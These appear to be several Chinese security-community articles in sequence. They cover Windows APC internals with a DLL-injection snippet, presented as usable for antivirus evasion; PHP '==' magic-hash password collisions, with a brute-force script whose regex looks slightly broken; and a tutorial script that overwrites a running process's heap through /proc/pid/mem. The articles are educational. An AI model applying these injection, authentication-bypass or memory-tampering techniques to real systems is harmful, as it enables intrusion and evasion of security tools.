我们直接从ReactOS中了解其中的具体实现，比如[NtQueueApcThreadEx](https://doxygen.reactos.org/da/d3c/ntoskrnl_2ps_2state_8c_source.html#l00504)，其中主要使用了一个KAPC对象：
typedef struct _KAPC {
UCHAR Type;
UCHAR SpareByte0;
UCHAR Size;
UCHAR SpareByte1;
ULONG SpareLong0;
struct _KTHREAD *Thread;
LIST_ENTRY ApcListEntry;
#ifdef _NTSYSTEM_
PKKERNEL_ROUTINE KernelRoutine;
PKRUNDOWN_ROUTINE RundownRoutine;
PKNORMAL_ROUTINE NormalRoutine;
#else
PVOID Reserved[3];
#endif
PVOID NormalContext;
PVOID SystemArgument1;
PVOID SystemArgument2;
CCHAR ApcStateIndex;
KPROCESSOR_MODE ApcMode;
BOOLEAN Inserted;
} KAPC, *PKAPC, *RESTRICTED_POINTER PRKAPC;
从内核模式对用户 APC 进行排队非常简单。每个 APC 对象都由一个 KAPC 对象表示。KAPC 对象主要有 3 个重要功能：
* **NormalRoutine** ：这是在交付 APC 时应在用户模式下执行的函数。（ApcRoutine）
* **KernelRoutine** : 这是一个在 APC 被交付之前在内核模式下的 APC_LEVEL 中执行的函数。
* **RundownRoutine** ：这是一个函数，如果线程在 APC 被传递到用户模式之前终止，它应该释放 APC 对象。
对于用户态 APC，我们需要在 KeInitializeApc 的 ApcMode 参数中指定“UserMode”，其中 SystemArgument1
被传递给 KeInitializeApc，而 SystemArgument2 和 SystemArgument3 被传递给
KeInsertQueueApc。
KeInsertQueueApc 将 APC
插入到目标线程的队列中，如果线程处于alertable等待状态，它还可以“取消等待状态”线程并确保当它返回到用户模式时 APC
将执行。这两个函数（KiInitializeApc 和 KeInsertQueueApc）都由 NTOSKRNL
导出，例如，NSA开发的DoublePulsar内核模式payload使用KeInsertQueueApc在用户模式下执行payload：
那我们就来看看KeInsertQueueApc 实现：
BOOLEAN
NTAPI
KeInsertQueueApc(IN PKAPC Apc,
IN PVOID SystemArgument1,
IN PVOID SystemArgument2,
IN KPRIORITY PriorityBoost)
{
PKTHREAD Thread = Apc->Thread;
KLOCK_QUEUE_HANDLE ApcLock;
BOOLEAN State = TRUE;
ASSERT_APC(Apc);
ASSERT_IRQL_LESS_OR_EQUAL(DISPATCH_LEVEL);
/* Get the APC lock */
KiAcquireApcLockRaiseToSynch(Thread, &ApcLock);
/* Make sure we can Queue APCs and that this one isn't already inserted */
if (!(Thread->ApcQueueable) || (Apc->Inserted))
{
/* Fail */
State = FALSE;
}
else
{
/* Set the System Arguments and set it as inserted */
Apc->SystemArgument1 = SystemArgument1;
Apc->SystemArgument2 = SystemArgument2;
Apc->Inserted = TRUE;
/* Call the Internal Function */
KiInsertQueueApc(Apc, PriorityBoost);
}
/* Release the APC lock and return success */
KiReleaseApcLockFromSynchLevel(&ApcLock);
KiExitDispatcher(ApcLock.OldIrql);
return State;
}
先获取锁，将 APC 插入 APC 队列。APC队列实际上是一个链表，保存在KTHREAD对象的ApcState成员中。
## 0x02 KiSignalThreadForApc
KeInsertQueueApc 将 APC 插入目标队列后，KiSignalThreadForApc 运行。该函数的目的是根据 APC
的类型检查是否应该向目标线程发出信号以及如何发出信号。主要检查以下三个点：
1. 线程正在等待。
2. 线程是否挂起——当一个线程被挂起时，它处于waiting状态——内核不让挂起的线程等待执行 APC。
3. 线程是alertable——当线程使用 Alertable = TRUE 调用 KeWaitForSingleObject 时，“Alertable”成员变为 TRUE。
## 0x03 KiDeliverApc
KiDeliverApc 处理所有类型的 APC：
1. 获取 APC 队列锁。
2. 检查 APC 队列是否为空。如果不是，则从队列中弹出第一个用户 APC
3. 调用内核例程。KernelRoutine 是在 APC 传递到用户模式之前运行在 APC_LEVEL 的代码。最常见的是，此代码释放 APC (ExFreePool)。APC 的值保存在局部变量中，KernelRoutine 可以根据需要更改这些值。
4. 初始化 TRAP_FRAME 以返回 APC 代码而不是现有代码。
这里我使用起进程注入dll的方式，实际演示：
RemoteLibAddress = WriteLibraryNameToRemote(ProcessInformation.hProcess, L"calc.dll");
Status = NtQueueApcThread(
ProcessInformation.hThread,
(PPS_APC_ROUTINE)LdrLoadDll,
NULL, // PathToFile
0, // Flags
RemoteLibAddress // ModuleFileName
);
## 0x04 总结
用户 APC 用于在 Windows 中实现异步回调，用户 APC 使用 KeInsertQueueApc 在内核模式下排队，用户 APC
被保存为每个线程队列中的 KAPC 对象，用户 APC 最常在线程返回用户模式且 UserApcPending = TRUE 之前执行，当使用
Alertable = TRUE 调用 KeWaitForSingleObject 或调用 NtTestAlert 时，UserApcPending 为
TRUE。所以利用此方式在实战攻防中绕过杀软还是可行的。 | 社区文章 |
# PHP中“＝＝”运算符的安全问题
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://www.digitalloft.org/init/plugin_wiki/page/juggling-hashes-with-your-eyes-closed-in-php>
译文仅供参考，具体内容表达以及含义原文为准。
**前言**
**PHP是一种通用的开源脚本语言,它的语法混合了C,Java,以及Perl等优秀语言的语法。除此之外,它还提供了大量的函数库可供开发人员使用。但是,如果使用不当,PHP也会给应用程序带来非常大的安全风险。**
在这篇文章中,我们将会对PHP应用程序中经常会出现的一些问题进行深入地分析,尤其是当我们使用“==”(比较运算符)来进行字符串比较时,可能会出现的一些安全问题。虽然近期有很多文章都围绕着这一话题进行过一些探讨,但我决定从“黑盒测试”的角度出发,讨论一下如何利用这个问题来对目标进行渗透和攻击。首先,我会对引起这个问题的根本原因进行分析,以便我们能够更加深入地理解其工作机制,这样才可以保证我们能够尽可能地避免这种安全问题的发生。
**
**
**问题的描述**
在2011年,PHP官方漏洞追踪系统发现,当字符串与数字在进行比较的时候,程序会出现某些非常奇怪的现象。从安全的角度出发,这个问题实际上并不能算是一个安全问题。比如说,你可以看到下面这段代码:
实际上,当使用类似“==”这样的比较运算符进行操作时,就会出现这样的情况。上面这个例子中出现的问题不能算是一个漏洞,因为它是PHP所提供的一种名为“类型转换”的功能。从本质上来分析,当我们使用特定的比较运算符(例如==
, !=,
<>)来进行操作时,PHP首先会尝试去确定参与比较的数据类型。但是这样的一种类型转换机制将有可能导致计算结果与我们预期的结果有较大出入,而且也会带来非常严重的安全问题。安全研究专家在该问题的完整披露报告中写到:这种类型转化机制将有可能导致权限提升,甚至还会使程序的密码验证过程变得不安全。
Gynvael写过一篇关于这一话题的经典文章,PHP等号运算符“==”所涵盖的数据类型非常广泛,我们给大家提供了一个较为完整的比较参考列表,并给出了一些示例,具体内容如下所示:
正如你所看到的,当我们使用“==”来比较这些数字字符串时,参与比较的就是字符串中数字的实际大小,从安全的角度出发,这就是一个非常有趣的问题了。在这种情况下,你可以使用科学计数法来表示一个数字,并将其放在一个字符串中,PHP将会自动把它作为一个数字类型来处理。我们之所以会得到这样的输出类型,是因为PHP使用了一种哈希算法(通常使用十六进制数值表示)来进行处理。比如说,如果一个数字为0,那么在进行松散比较的过程中,PHP会自动对其类型进行转换,但其值永远为0。对于一个给定的散列算法而言,密码就有可能会变成可以被替换的了。比如说,当密码的哈希值被转换成使用科学计数法来表示的数字时,将有可能正好与其他的密码哈希相匹配。这样一来,即使是一个完全不同的密码,也有可能可以通过系统的验证。但有趣的是,当某些采用科学计数法表示的数字在进行比较的时候,结果可能会让你意想不到:
从“黑盒测试”的角度出发来考虑这个问题
从静态分析的角度来看,这些安全问题就显得有些普通了。但如果我们从黑盒的角度来看待这些问题,我们能够得到什么样的启发呢?对于应用程序中的任何用户账号而言,如果应用程序使用了当前最为流行的哈希散列算法(例如SHA1和MD5)来对密码进行处理,而你在对密码哈希进行验证的时候使用了PHP的松散比较,那么此时就有可能出现安全问题。我们现在可以考虑进行一次典型的渗透测试,你可以创建一个普通的账号,将密码设置成哈希值类似的其中一个密码,然后使用其他的密码进行登录操作。很明显,系统的安全性完全取决于你所使用的散列算法。所以,我们假设你没有在散列算法中使用“Salt”值,那么你至少得使用两种不同的散列算法来对密码进行处理。
现在,在我们去对这些密码组合进行研究之前,我们还应该考虑到一点——即密码的要求。因为我们在对这些密码和散列算法进行分析之前,首先得确保我们所设置的初始密码复合了密码复杂度的要求,否则我们的分析和研究将会没有任何的意义。因此,我们得确保我们的密码长度至少为八个字符,密码中包含有大小写字母,数字,以及至少一个特殊字符:具体如下所示:
import random
import hashlib
import re
import string
import sys
prof = re.compile("^0+ed*$") # you can also consider: re.compile("^d*e0+$")
prefix = string.lower(sys.argv[1])+'!'+string.upper(sys.argv[1])+"%s"
num=0
while True:
num+=1
b = hashlib.sha256(prefix % num).hexdigest()
if (b[0]=='0' and prof.match(b)):
print(prefix+str(num),b)
为此,我专门编写了一个Python脚本,虽然我没有竭尽全力去优化这个脚本的性能,但是在PyPy编译器的帮助下,这个精心编写的脚本可以在我的AMD
FX8350所有可用的CPU核心中稳定运行。除此之外,我还使用到了hashlib库中的散列函数,而且为了避免遇到Python
GIL的进程同步问题,我还生成了独立的进程来对密码数据进行处理。不仅如此,我还使用了非常复杂的技术来为每一个密码生成不同的前缀,正如上面这段代码所示。
**分析结果**
在经过了一个多小时的分析之后,我得到了四个密码的SHA1值。令我感到惊讶的是,得到四个密码的MD5值所需的时间竟然更短。
密码的计算结果十分相似,具体如下所示:
你可以随意选取两个密码来进行对比,对比的演示结果如下:
如果你无法得到如上图所示的计算结果,那么你应该感到幸运。你可以尝试将用户名和密码捆绑在一起,然后使用带“salt”值的散列算法来进行计算。你只需要修改一小部分代码即可实现,点击“[这里](http://www.digitalloft.org/init/plugin_wiki/attachment/4)”获取修改后的脚本。
**解决方案**
PHP给我们提供了一个解决方案,如果你想要对比哈希值,你应该使用password_verify()或hash_equals()这两个函数。它们会对数据进行严格比较,并排除一些其他的干扰因素。但是请你注意,hash_equals()函数也可以用于字符串的比较。
**分析结论**
虽然我们的分析步骤执行起来有些过于复杂,但是从黑盒测试的角度出发,我们所描述的方法也许可以给大家提供一些有价值的信息。如果某个应用程序中的密码采用了这样的一种验证机制,那么它所带来的安全问题将会超出PHP数据类型转换本身所存在的问题。
**问题远不止于此**
这个问题给我们带来的影响远远不止于此。攻击者可以将这些密码添加到字典文件中,然后对应用程序中的所有用户进行暴力破解攻击。而且,如果应用程序的密码恢复机制中存在不安全的因素,攻击者还有可能对目标账号进行不限次数的攻击,直到攻击成功为止。
**源代码**
点击“[这里](http://www.digitalloft.org/init/plugin_wiki/attachment/4)”获取Python源码。 | 社区文章 |
**本文翻译自:[Hack The Virtual Memory: C strings &
/proc](https://blog.holbertonschool.com/hack-the-virtual-memory-c-strings-proc/ "Hack The Virtual Memory: C strings & /proc")**
# Hack The Virtual Memory: C strings & /proc
## 介绍
**hack虚拟内存之第0章：学习C字符串和/proc**
这是一系列有关于虚拟内存的文章/教程中的第一篇。目标是以另一种更实际的方式，学习一些CS基础知识。
在这第一篇文章中，我们将使用/proc来查找并修改正在运行的进程的虚拟内存中包含的变量（在此示例中为ASCII字符串），并在此过程中学习一些很酷的东西。
## 环境
所有脚本和程序都已经在以下系统上进行过测试：
* Ubuntu 14.04 LTS
* Linux ubuntu 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
* gcc
* gcc (Ubuntu 4.8.4-2ubuntu1~14.04.3) 4.8.4
* Python 3
* Python 3.4.3 (default, Nov 17 2016, 01:08:31)
* [GCC 4.8.4] on linux
## 前提
为了完全理解本文，你需要知道：
* C语言的基础知识
* 了解python
* Linux文件系统和shell的基础知识
## 虚拟内存
在计算机中，虚拟内存是一种使用硬件和软件实现的内存管理技术。它将程序使用的内存地址（称为虚拟地址）映射到计算机内存中的物理地址。主存（对于进程或任务来说）是连续的地址空间或连续段的集合。操作系统负责管理虚拟地址空间以及将物理内存分配给虚拟内存。CPU中的地址转换硬件（通常称为存储器管理单元，MMU）自动将虚拟地址转换为物理地址。操作系统可以扩展这些功能以提供超过物理内存容量的虚拟地址空间，从而引用比物理内存更多的虚拟内存。
虚拟内存的主要优点包括：使应用程序不必管理共享内存空间，由于内存隔离而提高的安全性，以及通过使用分页技术在概念上使用比物理可用内存更多的内存。
你可以在[Wikipedia](https://en.wikipedia.org/wiki/Virtual_memory
"Wikipedia")上阅读有关虚拟内存的更多信息。
在第2章，我们将详细介绍并说明虚拟内存各个部分的内容。目前，在你继续阅读之前，你应该了解以下几个要点：
* 每个进程都有自己的虚拟内存
* 虚拟内存大小取决于操作系统的体系结构
* 每个操作系统处理虚拟内存的方式不同，但对于大多数现代操作系统，进程的虚拟内存如下所示：
在内存的高地址中你可以找到（这是一个简略的列表，还有更多内容可以找到，但这不是今天的主题）：
* 命令行参数和环境变量
* 栈，“向下”增长。 这看似违反直觉，但这是在虚拟内存中实现栈的方式
在内存低地址中，你可以找到：
* 你的可执行文件（它比这复杂一点，但这足以理解本文的其余部分）
* 堆，“向上”增长
堆是动态分配的部分内存（即，包含使用malloc分配的内存）。
另外，请记住虚拟内存与RAM不同。
## C程序
让我们从这个简单的C程序开始：
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/**
* main - uses strdup to create a new string, and prints the
* address of the new duplcated string
*
* Return: EXIT_FAILURE if malloc failed. Otherwise EXIT_SUCCESS
*/
int main(void)
{
char *s;
s = strdup("Holberton");
if (s == NULL)
{
fprintf(stderr, "Can't allocate mem with malloc\n");
return (EXIT_FAILURE);
}
printf("%p\n", (void *)s);
return (EXIT_SUCCESS);
}
### strdup
在看下面之前，先思考一下：你认为strdup如何创建字符串“Holberton”的副本？你怎么证实这一点？
.
.
.
strdup需要创建一个新的字符串，所以它首先要为字符串保留空间。strdup很可能在函数实现中使用了malloc。快速浏览其手册可以确认：
描述
strdup（）函数返回一个指向新字符串的指针，该字符串是字符串s的副本。
使用malloc（3）获得新字符串的内存，可以使用free（3）释放。
在看下面之前，先思考一下：根据我们之前所说的关于虚拟内存的内容，你认为该字符串副本位于何处？在内存高地址还是低地址？
.
.
.
可能在较低的地址（在堆中）。让我们编译并运行我们的简易C程序来验证我们的假设：
julien@holberton:~/holberton/w/hackthevm0$ gcc -Wall -Wextra -pedantic -Werror main.c -o holberton
julien@holberton:~/holberton/w/hackthevm0$ ./holberton
0x1822010
julien@holberton:~/holberton/w/hackthevm0$
我们的字符串副本位于地址0x1822010处。非常好。但这是一个内存低地址还是高地址？
### 进程的虚拟内存有多大
进程的虚拟内存大小取决于你的系统体系结构。在这个例子中，我使用的是64位机器，因此理论上每个进程的虚拟内存大小为2^64字节。理论上，可能的最大内存地址是0xffffffffffffffff（1.8446744e
+ 19），最小是0x0。
与0xffffffffffffffff相比，0x1822010较小，因此字符串副本很可能位于较低的内存地址。当我们查看proc文件系统时，我们能够确认这一点。
## proc文件系统
来自man proc：
proc文件系统是一个伪文件系统，它为内核数据结构提供接口。它通常挂载在`/proc`。其中大多数是只读的，但有些文件允许更改内核变量。
如果列出/proc目录的内容，你可能会看到很多文件。 我们将重点关注其中两个：
* /proc/[pid]/mem
* /proc/[pid]/maps
### mem
来自man proc：
/proc/[PID]/MEM
此文件可用于访问进程内存的页面，通过open（2），read（2）和lseek（2）。
### maps
来自man proc：
/proc/[pid]/maps
A file containing the currently mapped memory regions and their access permissions.
See mmap(2) for some further information about memory mappings.
The format of the file is:
address perms offset dev inode pathname
00400000-00452000 r-xp 00000000 08:02 173521 /usr/bin/dbus-daemon
00651000-00652000 r--p 00051000 08:02 173521 /usr/bin/dbus-daemon
00652000-00655000 rw-p 00052000 08:02 173521 /usr/bin/dbus-daemon
00e03000-00e24000 rw-p 00000000 00:00 0 [heap]
00e24000-011f7000 rw-p 00000000 00:00 0 [heap]
...
35b1800000-35b1820000 r-xp 00000000 08:02 135522 /usr/lib64/ld-2.15.so
35b1a1f000-35b1a20000 r--p 0001f000 08:02 135522 /usr/lib64/ld-2.15.so
35b1a20000-35b1a21000 rw-p 00020000 08:02 135522 /usr/lib64/ld-2.15.so
35b1a21000-35b1a22000 rw-p 00000000 00:00 0
35b1c00000-35b1dac000 r-xp 00000000 08:02 135870 /usr/lib64/libc-2.15.so
35b1dac000-35b1fac000 ---p 001ac000 08:02 135870 /usr/lib64/libc-2.15.so
35b1fac000-35b1fb0000 r--p 001ac000 08:02 135870 /usr/lib64/libc-2.15.so
35b1fb0000-35b1fb2000 rw-p 001b0000 08:02 135870 /usr/lib64/libc-2.15.so
...
f2c6ff8c000-7f2c7078c000 rw-p 00000000 00:00 0 [stack:986]
...
7fffb2c0d000-7fffb2c2e000 rw-p 00000000 00:00 0 [stack]
7fffb2d48000-7fffb2d49000 r-xp 00000000 00:00 0 [vdso]
The address field is the address space in the process that the mapping occupies.
The perms field is a set of permissions:
r = read
w = write
x = execute
s = shared
p = private (copy on write)
The offset field is the offset into the file/whatever;
dev is the device (major:minor); inode is the inode on that device. 0 indicates
that no inode is associated with the memory region,
as would be the case with BSS (uninitialized data).
The pathname field will usually be the file that is backing the mapping.
For ELF files, you can easily coordinate with the offset field
by looking at the Offset field in the ELF program headers (readelf -l).
There are additional helpful pseudo-paths:
[stack]
The initial process's (also known as the main thread's) stack.
[stack:<tid/>] (since Linux 3.4)
A thread's stack (where the <tid/> is a thread ID).
It corresponds to the /proc/[pid]/task/[tid]/ path.
[vdso] The virtual dynamically linked shared object.
[heap] The process's heap.
If the pathname field is blank, this is an anonymous mapping as obtained via the mmap(2) function.
There is no easy way to coordinate
this back to a process's source, short of running it through gdb(1), strace(1), or similar.
Under Linux 2.0 there is no field giving pathname.
这意味着我们可以查看/proc/[pid]/mem文件以找到正在运行的进程的堆。如果我们可以从堆读取数据，我们可以找到想要修改的字符串。如果我们可以写入堆，我们可以用任意字符串替换这个字符串。
### pid
进程是程序的实例，具有唯一的进程ID。许多函数和系统调用使用此进程ID（PID）来与进程交互并操作进程。
## C程序
我们现在拥有编写脚本或程序所需的一切，该脚本或程序在正在运行的进程的堆中查找字符串，然后将其替换为另一个字符串（长度相同或更短）。我们将使用下面的程序无限循环并打印“strduplicated”字符串。
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
/**
* main - uses strdup to create a new string, loops forever-ever
*
* Return: EXIT_FAILURE if malloc failed. Other never returns
*/
int main(void)
{
char *s;
unsigned long int i;
s = strdup("Holberton");
if (s == NULL)
{
fprintf(stderr, "Can't allocate mem with malloc\n");
return (EXIT_FAILURE);
}
i = 0;
while (s)
{
printf("[%lu] %s (%p)\n", i, s, (void *)s);
sleep(1);
i++;
}
return (EXIT_SUCCESS);
}
编译并运行上面的源代码应该会输出下面的内容，并无限循环，直到你终止该进程。
julien@holberton:~/holberton/w/hackthevm0$ gcc -Wall -Wextra -pedantic -Werror loop.c -o loop
julien@holberton:~/holberton/w/hackthevm0$ ./loop
[0] Holberton (0xfbd010)
[1] Holberton (0xfbd010)
[2] Holberton (0xfbd010)
[3] Holberton (0xfbd010)
[4] Holberton (0xfbd010)
[5] Holberton (0xfbd010)
[6] Holberton (0xfbd010)
[7] Holberton (0xfbd010)
...
你可以在进一步阅读前，尝试编写一个脚本或程序，在正在运行的进程的堆中找到一个字符串。
.
.
.
## 查看/proc
让我们运行我们的循环程序。
julien@holberton:~/holberton/w/hackthevm0$ ./loop
[0] Holberton (0x10ff010)
[1] Holberton (0x10ff010)
[2] Holberton (0x10ff010)
[3] Holberton (0x10ff010)
...
我们需要找到的第一个东西是进程的PID。
julien@holberton:~/holberton/w/hackthevm0$ ps aux | grep ./loop | grep -v grep
julien 4618 0.0 0.0 4332 732 pts/14 S+ 17:06 0:00 ./loop
在上面的示例中，PID为4618（每次运行时它都会不同，如果你在自己的计算机上尝试此操作，很可能是不同的数字）。
因此，我们要查看的map和mem文件位于/proc/4618目录中：
* /proc/4618/maps
* /proc/4618/mem
ls -la命令应该会输出如下：
julien@ubuntu:/proc/4618$ ls -la
total 0
dr-xr-xr-x 9 julien julien 0 Mar 15 17:07 .
dr-xr-xr-x 257 root root 0 Mar 15 10:20 ..
dr-xr-xr-x 2 julien julien 0 Mar 15 17:11 attr
-rw-r--r-- 1 julien julien 0 Mar 15 17:11 autogroup
-r-------- 1 julien julien 0 Mar 15 17:11 auxv
-r--r--r-- 1 julien julien 0 Mar 15 17:11 cgroup
--w------- 1 julien julien 0 Mar 15 17:11 clear_refs
-r--r--r-- 1 julien julien 0 Mar 15 17:07 cmdline
-rw-r--r-- 1 julien julien 0 Mar 15 17:11 comm
-rw-r--r-- 1 julien julien 0 Mar 15 17:11 coredump_filter
-r--r--r-- 1 julien julien 0 Mar 15 17:11 cpuset
lrwxrwxrwx 1 julien julien 0 Mar 15 17:11 cwd -> /home/julien/holberton/w/funwthevm
-r-------- 1 julien julien 0 Mar 15 17:11 environ
lrwxrwxrwx 1 julien julien 0 Mar 15 17:11 exe -> /home/julien/holberton/w/funwthevm/loop
dr-x------ 2 julien julien 0 Mar 15 17:07 fd
dr-x------ 2 julien julien 0 Mar 15 17:11 fdinfo
-rw-r--r-- 1 julien julien 0 Mar 15 17:11 gid_map
-r-------- 1 julien julien 0 Mar 15 17:11 io
-r--r--r-- 1 julien julien 0 Mar 15 17:11 limits
-rw-r--r-- 1 julien julien 0 Mar 15 17:11 loginuid
dr-x------ 2 julien julien 0 Mar 15 17:11 map_files
-r--r--r-- 1 julien julien 0 Mar 15 17:11 maps
-rw------- 1 julien julien 0 Mar 15 17:11 mem
-r--r--r-- 1 julien julien 0 Mar 15 17:11 mountinfo
-r--r--r-- 1 julien julien 0 Mar 15 17:11 mounts
-r-------- 1 julien julien 0 Mar 15 17:11 mountstats
dr-xr-xr-x 5 julien julien 0 Mar 15 17:11 net
dr-x--x--x 2 julien julien 0 Mar 15 17:11 ns
-r--r--r-- 1 julien julien 0 Mar 15 17:11 numa_maps
-rw-r--r-- 1 julien julien 0 Mar 15 17:11 oom_adj
-r--r--r-- 1 julien julien 0 Mar 15 17:11 oom_score
-rw-r--r-- 1 julien julien 0 Mar 15 17:11 oom_score_adj
-r-------- 1 julien julien 0 Mar 15 17:11 pagemap
-r-------- 1 julien julien 0 Mar 15 17:11 personality
-rw-r--r-- 1 julien julien 0 Mar 15 17:11 projid_map
lrwxrwxrwx 1 julien julien 0 Mar 15 17:11 root -> /
-rw-r--r-- 1 julien julien 0 Mar 15 17:11 sched
-r--r--r-- 1 julien julien 0 Mar 15 17:11 schedstat
-r--r--r-- 1 julien julien 0 Mar 15 17:11 sessionid
-rw-r--r-- 1 julien julien 0 Mar 15 17:11 setgroups
-r--r--r-- 1 julien julien 0 Mar 15 17:11 smaps
-r-------- 1 julien julien 0 Mar 15 17:11 stack
-r--r--r-- 1 julien julien 0 Mar 15 17:07 stat
-r--r--r-- 1 julien julien 0 Mar 15 17:11 statm
-r--r--r-- 1 julien julien 0 Mar 15 17:07 status
-r-------- 1 julien julien 0 Mar 15 17:11 syscall
dr-xr-xr-x 3 julien julien 0 Mar 15 17:11 task
-r--r--r-- 1 julien julien 0 Mar 15 17:11 timers
-rw-r--r-- 1 julien julien 0 Mar 15 17:11 uid_map
-r--r--r-- 1 julien julien 0 Mar 15 17:11 wchan
## /proc/pid/maps
正如我们之前看到的，/proc/pid/maps文件是一个文本文件，所以我们可以直接读取它。我们的maps文件内容如下所示：
julien@ubuntu:/proc/4618$ cat maps
00400000-00401000 r-xp 00000000 08:01 1070052 /home/julien/holberton/w/funwthevm/loop
00600000-00601000 r--p 00000000 08:01 1070052 /home/julien/holberton/w/funwthevm/loop
00601000-00602000 rw-p 00001000 08:01 1070052 /home/julien/holberton/w/funwthevm/loop
010ff000-01120000 rw-p 00000000 00:00 0 [heap]
7f144c052000-7f144c20c000 r-xp 00000000 08:01 136253 /lib/x86_64-linux-gnu/libc-2.19.so
7f144c20c000-7f144c40c000 ---p 001ba000 08:01 136253 /lib/x86_64-linux-gnu/libc-2.19.so
7f144c40c000-7f144c410000 r--p 001ba000 08:01 136253 /lib/x86_64-linux-gnu/libc-2.19.so
7f144c410000-7f144c412000 rw-p 001be000 08:01 136253 /lib/x86_64-linux-gnu/libc-2.19.so
7f144c412000-7f144c417000 rw-p 00000000 00:00 0
7f144c417000-7f144c43a000 r-xp 00000000 08:01 136229 /lib/x86_64-linux-gnu/ld-2.19.so
7f144c61e000-7f144c621000 rw-p 00000000 00:00 0
7f144c636000-7f144c639000 rw-p 00000000 00:00 0
7f144c639000-7f144c63a000 r--p 00022000 08:01 136229 /lib/x86_64-linux-gnu/ld-2.19.so
7f144c63a000-7f144c63b000 rw-p 00023000 08:01 136229 /lib/x86_64-linux-gnu/ld-2.19.so
7f144c63b000-7f144c63c000 rw-p 00000000 00:00 0
7ffc94272000-7ffc94293000 rw-p 00000000 00:00 0 [stack]
7ffc9435e000-7ffc94360000 r--p 00000000 00:00 0 [vvar]
7ffc94360000-7ffc94362000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
回到我们之前所说的，我们可以看到栈（[stack]）位于内存高地址中，堆（[heap]）位于内存较低地址中。
## [heap]
使用maps文件，我们可以找到查找字符串所需的所有信息：
010ff000-01120000 rw-p 00000000 00:00 0 [heap]
堆：
* 开始于进程的虚拟内存地址0x010ff000处
* 结束于虚拟内存地址：0x01120000
* 可读写（rw）
快速回顾一下我们（仍在运行）的循环程序：
...
[1024] Holberton (0x10ff010)
...
-> 0x010ff000 <0x10ff010 <0x01120000。 这证明我们的字符串位于堆中。更确切地说，它位于堆偏移0x10处。 如果我们打开/proc/pid/mem/文件（在这个例子中为/proc/4618/mem）并寻找内存地址0x10ff010，我们可以写入正在运行的进程的堆，覆盖“Holberton”字符串！
让我们编写一个脚本或程序来做到这一点。选择你喜欢的语言，让我们开始！
你可以在进一步阅读前，尝试编写一个脚本或程序，在正在运行的进程的堆中找到一个字符串，然后再继续阅读。下一段将给出这样做的源代码！
.
.
.
## Overwriting the string in the virtual memory
我们将使用Python3编写脚本，但你可以用任何语言编写。这是代码：
#!/usr/bin/env python3
'''
Locates and replaces the first occurrence of a string in the heap
of a process
Usage: ./read_write_heap.py PID search_string replace_by_string
Where:
- PID is the pid of the target process
- search_string is the ASCII string you are looking to overwrite
- replace_by_string is the ASCII string you want to replace
search_string with
'''
import sys
def print_usage_and_exit():
print('Usage: {} pid search write'.format(sys.argv[0]))
sys.exit(1)
# check usage
if len(sys.argv) != 4:
print_usage_and_exit()
# get the pid from args
pid = int(sys.argv[1])
if pid <= 0:
print_usage_and_exit()
search_string = str(sys.argv[2])
if search_string == "":
print_usage_and_exit()
write_string = str(sys.argv[3])
if search_string == "":
print_usage_and_exit()
# open the maps and mem files of the process
maps_filename = "/proc/{}/maps".format(pid)
print("[*] maps: {}".format(maps_filename))
mem_filename = "/proc/{}/mem".format(pid)
print("[*] mem: {}".format(mem_filename))
# try opening the maps file
try:
maps_file = open('/proc/{}/maps'.format(pid), 'r')
except IOError as e:
print("[ERROR] Can not open file {}:".format(maps_filename))
print(" I/O error({}): {}".format(e.errno, e.strerror))
sys.exit(1)
for line in maps_file:
sline = line.split(' ')
# check if we found the heap
if sline[-1][:-1] != "[heap]":
continue
print("[*] Found [heap]:")
# parse line
addr = sline[0]
perm = sline[1]
offset = sline[2]
device = sline[3]
inode = sline[4]
pathname = sline[-1][:-1]
print("\tpathname = {}".format(pathname))
print("\taddresses = {}".format(addr))
print("\tpermisions = {}".format(perm))
print("\toffset = {}".format(offset))
print("\tinode = {}".format(inode))
# check if there is read and write permission
if perm[0] != 'r' or perm[1] != 'w':
print("[*] {} does not have read/write permission".format(pathname))
maps_file.close()
exit(0)
# get start and end of the heap in the virtual memory
addr = addr.split("-")
if len(addr) != 2: # never trust anyone, not even your OS :)
print("[*] Wrong addr format")
maps_file.close()
exit(1)
addr_start = int(addr[0], 16)
addr_end = int(addr[1], 16)
print("\tAddr start [{:x}] | end [{:x}]".format(addr_start, addr_end))
# open and read mem
try:
mem_file = open(mem_filename, 'rb+')
except IOError as e:
print("[ERROR] Can not open file {}:".format(mem_filename))
print(" I/O error({}): {}".format(e.errno, e.strerror))
maps_file.close()
exit(1)
# read heap
mem_file.seek(addr_start)
heap = mem_file.read(addr_end - addr_start)
# find string
try:
i = heap.index(bytes(search_string, "ASCII"))
except Exception:
print("Can't find '{}'".format(search_string))
maps_file.close()
mem_file.close()
exit(0)
print("[*] Found '{}' at {:x}".format(search_string, i))
# write the new string
print("[*] Writing '{}' at {:x}".format(write_string, addr_start + i))
mem_file.seek(addr_start + i)
mem_file.write(bytes(write_string, "ASCII"))
# close files
maps_file.close()
mem_file.close()
# there is only one heap in our example
break
注意：你需要以root身份运行此脚本，否则你将无法读取或写入/proc/pid/mem文件，即使你是该进程的所有者也是如此。
## 运行脚本
julien@holberton:~/holberton/w/hackthevm0$ sudo ./read_write_heap.py 4618 Holberton "Fun w vm!"
[*] maps: /proc/4618/maps
[*] mem: /proc/4618/mem
[*] Found [heap]:
pathname = [heap]
addresses = 010ff000-01120000
permisions = rw-p
offset = 00000000
inode = 0
Addr start [10ff000] | end [1120000]
[*] Found 'Holberton' at 10
[*] Writing 'Fun w vm!' at 10ff010
julien@holberton:~/holberton/w/hackthevm0$
请注意，此地址对应于我们手动找到的地址：
* 正在运行的进程的堆的虚拟内存地址为0x010ff000到0x01120000
* 我们的字符串在堆偏移0x10处，因此在内存地址0x10ff010处
如果我们回到我们的循环程序，它现在应该打印“Fun w vm!”
...
[2676] Holberton (0x10ff010)
[2677] Holberton (0x10ff010)
[2678] Holberton (0x10ff010)
[2679] Holberton (0x10ff010)
[2680] Holberton (0x10ff010)
[2681] Holberton (0x10ff010)
[2682] Fun w vm! (0x10ff010)
[2683] Fun w vm! (0x10ff010)
[2684] Fun w vm! (0x10ff010)
[2685] Fun w vm! (0x10ff010)
... | 社区文章 |
原文地址：<https://carvesystems.com/news/command-injection-with-usb-peripherals/>
